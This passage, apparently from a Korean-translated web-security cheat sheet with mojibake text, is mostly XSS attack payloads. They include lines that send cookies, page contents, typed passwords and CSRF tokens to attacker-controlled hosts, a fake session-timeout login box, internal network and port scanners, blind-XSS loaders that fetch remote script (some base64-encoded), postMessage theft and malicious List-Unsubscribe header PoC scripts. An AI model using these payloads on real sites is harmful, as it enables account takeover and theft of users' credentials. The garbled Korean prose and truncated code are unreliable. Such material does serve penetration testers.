((o ^ _ ^ o) + (o ^ _ ^ o)) +
๏พ๏ฝฐ๏พ +
๏พะ๏พ[๏พฮต๏พ] +
๏พ๏ฝฐ๏พ +
((o ^ _ ^ o) - ๏พฮ๏พ) +
๏พะ๏พ[๏พฮต๏พ] +
(๏พ๏ฝฐ๏พ + ๏พฮ๏พ) +
๏พฮ๏พ +
๏พะ๏พ[๏พo๏พ]
)(๏พฮ๏พ)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS ๊ณตํต payloads
์ฌ๋ฌ payloads๋ฅผ ํ๋๋ก
Iframe Trap
์ฌ์ฉ์๊ฐ iframe์ ๋ฒ์ด๋์ง ์๊ณ ํ์ด์ง ๋ด์์ ์ด๋ํ๋๋ก ์ ๋ํ์ฌ ๊ทธ ํ์(ํผ์ ์ ์ก๋ ์ ๋ณด ํฌํจ)๋ฅผ ํ์ทจํฉ๋๋ค:
Cookies ๊ฐ์ ธ์ค๊ธฐ
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
HTTPOnly ํ๋๊ทธ๊ฐ cookie์ ์ค์ ๋์ด ์์ผ๋ฉด JavaScript์์ cookies์ ์ ๊ทผํ ์ ์์ต๋๋ค. ํ์ง๋ง ์ด์ด ์ข๋ค๋ฉด some ways to bypass this protection์(๋ฅผ) ์ด์ฉํ ์ ์์ต๋๋ค.
ํ์ด์ง ์ฝํ ์ธ ํ์ทจ
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
๋ด๋ถ IPs ์ฐพ๊ธฐ
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
ํฌํธ ์ค์บ๋ (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
์งง์ ์๊ฐ์ ํฌํธ๊ฐ ์๋ตํจ์ ๋ํ๋ ๋๋ค ๊ธด ์๊ฐ์ ์๋ต ์์์ ์๋ฏธ์ ๋๋ค.
Chrome์์ ๊ธ์ง๋ ํฌํธ ๋ชฉ๋ก์ here์์ ํ์ธํ๊ณ Firefox์์๋ here์์ ํ์ธํ์ธ์.
์๊ฒฉ ์ฆ๋ช ์ ์์ฒญํ๋ ๋ฐ์ค
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
์๋ ์์ฑ ๋น๋ฐ๋ฒํธ ์บก์ฒ
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
๋น๋ฐ๋ฒํธ ํ๋์ ์ด๋ค ๋ฐ์ดํฐ๊ฐ ์ ๋ ฅ๋๋ฉด ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๊ฐ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ์ ์ก๋๋ค. ํด๋ผ์ด์ธํธ๊ฐ ์ ์ฅ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ํํ๊ฑฐ๋ ์๋ฌด๊ฒ๋ ์ ๋ ฅํ์ง ์์๋ ์๊ฒฉ ์ฆ๋ช ์ด ์ ์ถ๋๋ค.
ํผ ํธ๋ค๋ฌ๋ฅผ ๊ฐ๋ก์ฑ ์๊ฒฉ ์ฆ๋ช ์ ์ถ (const shadowing)
ํ์ด์ง์์ ์ค์ํ ํธ๋ค๋ฌ (e.g., function DoLogin(){...})๊ฐ ๋์ค์ ์ ์ธ๋๊ณ ํ์ด๋ก๋๊ฐ ๋ ์ผ์ฐ ์คํ๋๋ ๊ฒฝ์ฐ (e.g., via an inline JS-in-JS sink), ๋์ผํ ์ด๋ฆ์ const๋ฅผ ๋จผ์ ์ ์ํ์ฌ ํธ๋ค๋ฌ๋ฅผ ์ ์ ํ๊ณ ๊ณ ์ ํ๋ผ. ์ดํ์ function ์ ์ธ์ const ์ด๋ฆ์ ์ฌ๋ฐ์ธ๋ฉํ ์ ์์ผ๋ฏ๋ก ํ
์ด ์ ์ด๊ถ์ ์ ์งํ๊ฒ ๋๋ค:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
๋ ธํธ
- ์ด๋ ์คํ ์์์ ์์กดํฉ๋๋ค: your injection์ ์ ๊ท ์ ์ธ๋ณด๋ค ๋จผ์ ์คํ๋์ด์ผ ํฉ๋๋ค.
- ๋ง์ฝ your payload๊ฐ
eval(...)๋ก ๋ํ๋์ด ์๋ค๋ฉด,const/let๋ฐ์ธ๋ฉ์ ์ ์ญ์ด ๋์ง ์์ต๋๋ค. ์ง์ ํ ์ ์ญ, ์ฌ๋ฐ์ธ๋ฉ ๋ถ๊ฐ๋ฅํ ๋ฐ์ธ๋ฉ์ ๋ณด์ฅํ๋ ค๋ฉด ์น์ โDeliverable payloads with eval(atob()) and scope nuancesโ์ ๋์ <script>injection ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ธ์. - ํค์๋ ํํฐ๊ฐ ์ฝ๋๋ฅผ ์ฐจ๋จํ ๋๋, ์์ ๋ณด์ธ ๊ฒ์ฒ๋ผ Unicode-escaped ์๋ณ์ ๋๋
eval(atob('...'))์ ๋ฌ ๋ฐฉ์์ ํจ๊ป ์ฌ์ฉํ์ธ์.
Keylogger
github์์ ๊ฒ์ํด๋ณด๋ ๋ช ๊ฐ์ง ๋ค๋ฅธ ๊ฒ๋ค์ด ์์์ต๋๋ค:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- ๋ํ metasploit์
http_javascript_keylogger๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage ๋ฉ์์ง ํ์ทจ
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
ํ์ด์ง๊ฐ postMessage๋ก๋ถํฐ event.origin์ ์ ์ฅํ๊ณ ๋์ค์ ์ด๋ฅผ ์คํฌ๋ฆฝํธ URL์ ์ด์ด๋ถ์ด๋ฉด, ๋ฐ์ ์๊ฐ ๋ก๋๋ JS์ origin์ ์ ์ดํ ์ ์๋ค:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates:
window.opener๊ฐ ์กด์ฌํ๊ณpixel_id๊ฐ allowlisted์ผ ๋๋ง ์คํ๋จ; origin์ ์ ํ ์ฒดํฌ๋์ง ์์. - Use CSP-allowed origin: victim CSP์ ์ด๋ฏธ ํ์ฉ๋ ๋๋ฉ์ธ์ผ๋ก pivotํ๊ณ (์: ๋ก๊ทธ์์๋ help ํ์ด์ง๋ค์ด analytics๋ฅผ ํ์ฉํ๋
*.THIRD-PARTY.com๊ฐ์ ๊ฒฝ์ฐ), takeover/XSS/upload๋ก ๊ทธ ๋๋ฉ์ธ์/sdk/<pixel_id>/iwl.js๋ฅผ ํธ์คํ . - Restore
opener: Android WebView์์window.name='x'; window.open(target,'x')๋ ํ์ด์ง๋ฅผ ์ค์ค๋ก์ opener๋ก ๋ง๋ฆ; ํ์ด์ฌํน๋ iframe์์ ์ ์ฑpostMessage๋ฅผ ๋ณด๋. - Trigger: iframe์ด
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}๋ฅผ postํ๋ฉด; ๋ถ๋ชจ๋ CSP-allowed origin์์ ๊ณต๊ฒฉ์iwl.js๋ฅผ ๋ก๋ํด ์คํํจ.
์ด๊ฒ์ origin-less postMessage ๊ฒ์ฆ์, ์ ์ฑ
์ ์ด๋ฏธ ํ์ฉ๋ ์๋ฌด origin์ ์ฐฉ๋ฅํ ์ ์๋ค๋ฉด CSP๋ฅผ ๊ฒฌ๋๋ด๋ remote script loader primitive๋ก ์ ํ์ํจ๋ค.
๋ฐฑ์๋ JS ๋ฌธ์์ด ๊ฒฐํฉ์ ํตํ ๊ณต๊ธ๋ง ์ ์ฅํ XSS
๋ฐฑ์๋๊ฐ user-controlled ๊ฐ์ ํฌํจํ JS ๋ฌธ์์ด์ ์ด์ด๋ถ์ฌ shared SDK๋ฅผ ๋น๋ํ ๋, ๋ฐ์ดํ๋ ๊ตฌ์กฐ๋ฅผ ๊นจ๋ ๊ฐ์ ๋ชจ๋ ์๋น์์๊ฒ ์ ๊ณต๋๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฃผ์ ํ ์ ์๋ค:
- ์์ ํจํด (Meta CAPIG): ์๋ฒ๊ฐ
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});๋ฅผcapig-events.js์ ์ง์ ์ถ๊ฐํจ. '๋๋"]}๋ฅผ ์ฃผ์ ํ๋ฉด ๋ฆฌํฐ๋ด/๊ฐ์ฒด๊ฐ ๋ซํ๊ณ ๊ณต๊ฒฉ์ JS๊ฐ ์ถ๊ฐ๋์ด, ์ด๋ฅผ ๋ก๋ํ๋ ๋ชจ๋ ์ฌ์ดํธ(ํผ์คํธ-ํํฐ ๋ฐ ์๋-ํํฐ)์ ๋ํด stored XSS๋ฅผ ์์ฑํจ.
Service Workers ์ ์ฉ
Shadow DOM ์ ๊ทผ
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
You can also use: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - ์จ๊ฒจ์ง ์ฝํ ์ธ ์ ๊ทผ
์ด ๊ธ์์ ์ผ๋ถ ๊ฐ์ด JS์์ ์ฌ๋ผ์ ธ๋ ๋ค๋ฅธ ๊ฐ์ฒด์ JS ์์ฑ๋ค์์๋ ์ฌ์ ํ ์ฐพ์๋ผ ์ ์๋ค๋ ๊ฒ์ ์ ์ ์๋ค. ์๋ฅผ ๋ค์ด, REGEX ์ ๋ ฅ ๊ฐ์ด ์ ๊ฑฐ๋ ์ดํ์๋ ํด๋น ์ ๋ ฅ์ ์ฌ์ ํ ์ฐพ์๋ผ ์ ์๋ค:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS๋ก ๋ค๋ฅธ ์ทจ์ฝ์ ์ ์ฉ
Markdown์์์ XSS
๋ ๋๋ง๋๋ Markdown ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์๋? ์ด์ฉ๋ฉด XSS๋ฅผ ์ป์ ์ ์์์ง๋ ๋ชจ๋ฅธ๋ค! ํ์ธ:
XSS๋ฅผ SSRF๋ก
์บ์ฑ์ ์ฌ์ฉํ๋ ์ฌ์ดํธ์์ XSS๋ฅผ ๋ฐ๊ฒฌํ๋๊ฐ? Edge Side Include Injection์ ํตํด ์ด๋ฅผ SSRF๋ก ์ ๊ทธ๋ ์ด๋ํด ๋ณด๋ผ. ๋ค์ payload:
<esi:include src="http://yoursite.com/capture" />
์ด๋ฅผ ์ฌ์ฉํ๋ฉด cookie ์ ํ, XSS ํํฐ ๋ฑ์ ์ฐํํ๊ณ ๊ทธ ๋ฐ์ ์ฌ๋ฌ ์ฉ๋๋ก ํ์ฉํ ์ ์์ต๋๋ค!
์ด ๊ธฐ์ ์ ๋ํ ์์ธํ ์ ๋ณด: XSLT.
๋์ ์ผ๋ก ์์ฑ๋ PDF์ XSS
์น ํ์ด์ง๊ฐ ์ฌ์ฉ์ ์ ์ด ์
๋ ฅ์ผ๋ก PDF๋ฅผ ์์ฑํ๋ ๊ฒฝ์ฐ, PDF ์์ฑ bot์ ์์ฌ ์์์ JS ์ฝ๋๋ฅผ ์คํํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
๋ฐ๋ผ์ PDF creator bot์ด ์ด๋ค ์ข
๋ฅ์ HTML ํ๊ทธ๋ฅผ ๋ฐ๊ฒฌํ๋ฉด ์ด๋ฅผ ํด์ํ๊ฒ ๋๊ณ , ์ด ๋์์ ์
์ฉํด Server XSS๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค.
HTML ํ๊ทธ๋ฅผ ์ฃผ์ ํ ์ ์๋ค๋ฉด inject PDF data๋ฅผ ์๋ํด๋ณผ ๊ฐ์น๊ฐ ์์ต๋๋ค:
Amp4Email์ XSS
AMP๋ ๋ชจ๋ฐ์ผ ๊ธฐ๊ธฐ์์ ์น ํ์ด์ง ์ฑ๋ฅ์ ๊ฐ์ํํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ๋ฉฐ, ๊ธฐ๋ฅ์ ์ํด HTML ํ๊ทธ์ JavaScript๋ฅผ ์ฌ์ฉํ๋ฉด์ ์๋์ ๋ณด์์ ์ค์ํฉ๋๋ค. ๋ค์ํ ๊ธฐ๋ฅ์ ์ํ ์ปดํฌ๋ํธ๋ค์ AMP components์์ ํ์ธํ ์ ์์ต๋๋ค.
AMP for Email ํฌ๋งท์ ํน์ AMP ์ปดํฌ๋ํธ๋ฅผ ์ด๋ฉ์ผ๋ก ํ์ฅํ์ฌ ์์ ์๊ฐ ์ด๋ฉ์ผ ์์์ ๋ฐ๋ก ์ฝํ ์ธ ์ ์ํธ์์ฉํ ์ ์๊ฒ ํฉ๋๋ค.
์์ : writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
RFC 2369 List-Unsubscribe ํค๋๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ URI๋ฅผ ํฌํจํ ์ ์์ผ๋ฉฐ, ๋ง์ ์น๋ฉ์ผ ๋ฐ ๋ฉ์ผ ํด๋ผ์ด์ธํธ๋ ์ด๋ฅผ ์๋์ผ๋ก โUnsubscribeโ ๋ฒํผ์ผ๋ก ๋ณํํฉ๋๋ค. ํด๋น URI๊ฐ ๊ฒ์ฆ ์์ด ๋ ๋๋ง๋๊ฑฐ๋ ์์ฒญ๋ ๊ฒฝ์ฐ, ์ด ํค๋๋ ์ ์ฅ๋ XSS(์: unsubscribe ๋งํฌ๊ฐ DOM์ ์ฝ์
๋๋ ๊ฒฝ์ฐ)์ SSRF(์: ์๋ฒ๊ฐ ์ฌ์ฉ์ ๋์ unsubscribe ์์ฒญ์ ์ํํ๋ ๊ฒฝ์ฐ)์ ์ฃผ์
์ง์ ์ด ๋ฉ๋๋ค.
Stored XSS via javascript: URIs
- ํค๋๊ฐ
javascript:URI๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ํ๊ณ , ๋๋จธ์ง ๋ฉ์์ง๋ ์คํธ ํํฐ์ ๊ฑธ๋ฆฌ์ง ์๊ฒ ์ ์์ ์ผ๋ก ์ ์งํ์ฌ ์์ ์๊ฒ ์ด๋ฉ์ผ์ ๋ณด๋ด์ธ์. - UI๊ฐ ํด๋น ๊ฐ์ ๋ ๋๋งํ๋์ง ํ์ธํ์ธ์(๋ง์ ํด๋ผ์ด์ธํธ๊ฐ โList Infoโ ํจ๋์ ํ์). ์์ฑ๋
<a>ํ๊ทธ๊ฐhref๋target๊ฐ์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ ์์ฑ์ ์์ํ๋์ง ํ์ธํ์ธ์. - ๋งํฌ๊ฐ
target="_blank"๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ์คํ์ ์ ๋ํ์ธ์(์: CTRL+click, middle-click ๋๋ โopen in new tabโ). ๋ธ๋ผ์ฐ์ ๋ ์ ๊ณต๋ JavaScript๋ฅผ ์น๋ฉ์ผ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ค๋ฆฌ์ง์์ ํ๊ฐํฉ๋๋ค. - ์ ์ฅ๋ XSS์ ๊ธฐ๋ณธ ์๋ฆฌ๋ฅผ ํ์ธํ์ธ์: ํ์ด๋ก๋๋ ์ด๋ฉ์ผ๊ณผ ํจ๊ป ์ง์๋๋ฉฐ ์คํ์ ์ํด ํด๋ฆญ ํ๋๋ง ํ์ํฉ๋๋ค.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
URI์ ๊ฐํ ๋ฐ์ดํธ (%0a)๋ Horde IMP H5์ ๊ฐ์ ์ทจ์ฝํ ํด๋ผ์ด์ธํธ์์ ๋ ๋๋ง ํ์ดํ๋ผ์ธ์ ๊ฑฐ์น๋ฉด์ ํน์ดํ ๋ฌธ์๋ ๊ทธ๋๋ก ๋จ์ anchor tag ๋ด๋ถ์ ๋ฌธ์์ด์ ์๋ ๊ทธ๋๋ก ์ถ๋ ฅํจ์ ๋ณด์ฌ์ค๋ค.
Minimal SMTP PoC that delivers a malicious List-Unsubscribe header
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = โmail.example.orgโ smtp_port = 587 smtp_user = โuser@example.orgโ smtp_password = โREDACTEDโ sender = โlist@example.orgโ recipient = โvictim@example.orgโ
msg = EmailMessage() msg.set_content(โTesting List-Unsubscribe renderingโ) msg[โFromโ] = sender msg[โToโ] = recipient msg[โSubjectโ] = โNewsletterโ msg[โList-Unsubscribeโ] = โjavascript://evil.tld/%0aconfirm(document.domain)โ msg[โList-Unsubscribe-Postโ] = โList-Unsubscribe=One-Clickโ
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Server-side ๊ตฌ๋
ํด์ง ํ๋ก์ -> SSRF
์ผ๋ถ ํด๋ผ์ด์ธํธ(์: Nextcloud Mail ์ฑ)๋ unsubscribe ๋์์ server-side์์ ํ๋ก์ ์ฒ๋ฆฌํฉ๋๋ค: ๋ฒํผ์ ํด๋ฆญํ๋ฉด ์๋ฒ๊ฐ ์ ๊ณต๋ URL์ ์ง์ ๊ฐ์ ธ์ค๋๋ก ์ง์ํฉ๋๋ค. ์ด๋ก ์ธํด ํด๋น ํค๋๋ SSRF ํ๋ฆฌ๋ฏธํฐ๋ธ๊ฐ ๋๋ฉฐ, ํนํ ๊ด๋ฆฌ์๊ฐ `'allow_local_remote_servers' => true`๋ก ์ค์ ํ ๊ฒฝ์ฐ(๋ฌธ์๋ [HackerOne report 2902856](https://hackerone.com/reports/2902856)์ ์ฐธ์กฐ), loopback ๋ฐ RFC1918 ๋ฒ์๋ก์ ์์ฒญ์ด ํ์ฉ๋ฉ๋๋ค.
1. **๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์๋ํฌ์ธํธ๋ฅผ ๋์์ผ๋ก `List-Unsubscribe` ํค๋๋ฅผ ํฌํจํ ์ด๋ฉ์ผ์ ์์ฑํฉ๋๋ค** (๋ธ๋ผ์ธ๋ SSRF์ ๊ฒฝ์ฐ Burp Collaborator / OAST ์ฌ์ฉ).
2. **UI์ ์ํด๋ฆญ ๊ตฌ๋
ํด์ง ๋ฒํผ์ด ํ์๋๋๋ก `List-Unsubscribe-Post: List-Unsubscribe=One-Click`๋ฅผ ์ ์งํฉ๋๋ค.**
3. **์ ๋ขฐ ์๊ตฌ์ฌํญ์ ๋ง์กฑ์ํต๋๋ค**: ์๋ฅผ ๋ค์ด Nextcloud๋ ๋ฉ์์ง๊ฐ DKIM์ ํต๊ณผํ ๋๋ง HTTPS ๊ตฌ๋
ํด์ง ์์ฒญ์ ์ํํ๋ฏ๋ก, ๊ณต๊ฒฉ์๋ ์์ ์ด ์ ์ดํ๋ ๋๋ฉ์ธ์ผ๋ก ์ด๋ฉ์ผ์ ์๋ช
ํด์ผ ํฉ๋๋ค.
4. **๋ฉ์์ง๋ฅผ ๋์ ์๋ฒ๊ฐ ์ฒ๋ฆฌํ๋ ๋ฉ์ผ๋ฐ์ค๋ก ๋ฐฐ๋ฌํ๊ณ ** ์ฌ์ฉ์๊ฐ ๊ตฌ๋
ํด์ง ๋ฒํผ์ ํด๋ฆญํ ๋๊น์ง ๊ธฐ๋ค๋ฆฝ๋๋ค.
5. **collaborator ์๋ํฌ์ธํธ์์ server-side ์ฝ๋ฐฑ์ ๊ด์ฐฐํ ๋ค์**, ํ๋ฆฌ๋ฏธํฐ๋ธ๊ฐ ํ์ธ๋๋ฉด ๋ด๋ถ ์ฃผ์๋ก ํผ๋ฒํฉ๋๋ค.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signed List-Unsubscribe ๋ฉ์์ง (SSRF ํ ์คํธ์ฉ)
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = โmail.example.orgโ smtp_port = 587 smtp_user = โuser@example.orgโ smtp_password = โREDACTEDโ dkim_selector = โdefaultโ dkim_domain = โexample.orgโ dkim_private_key = โโโโโBEGIN PRIVATE KEYโโ\nโฆ\nโโEND PRIVATE KEYโโโโโ
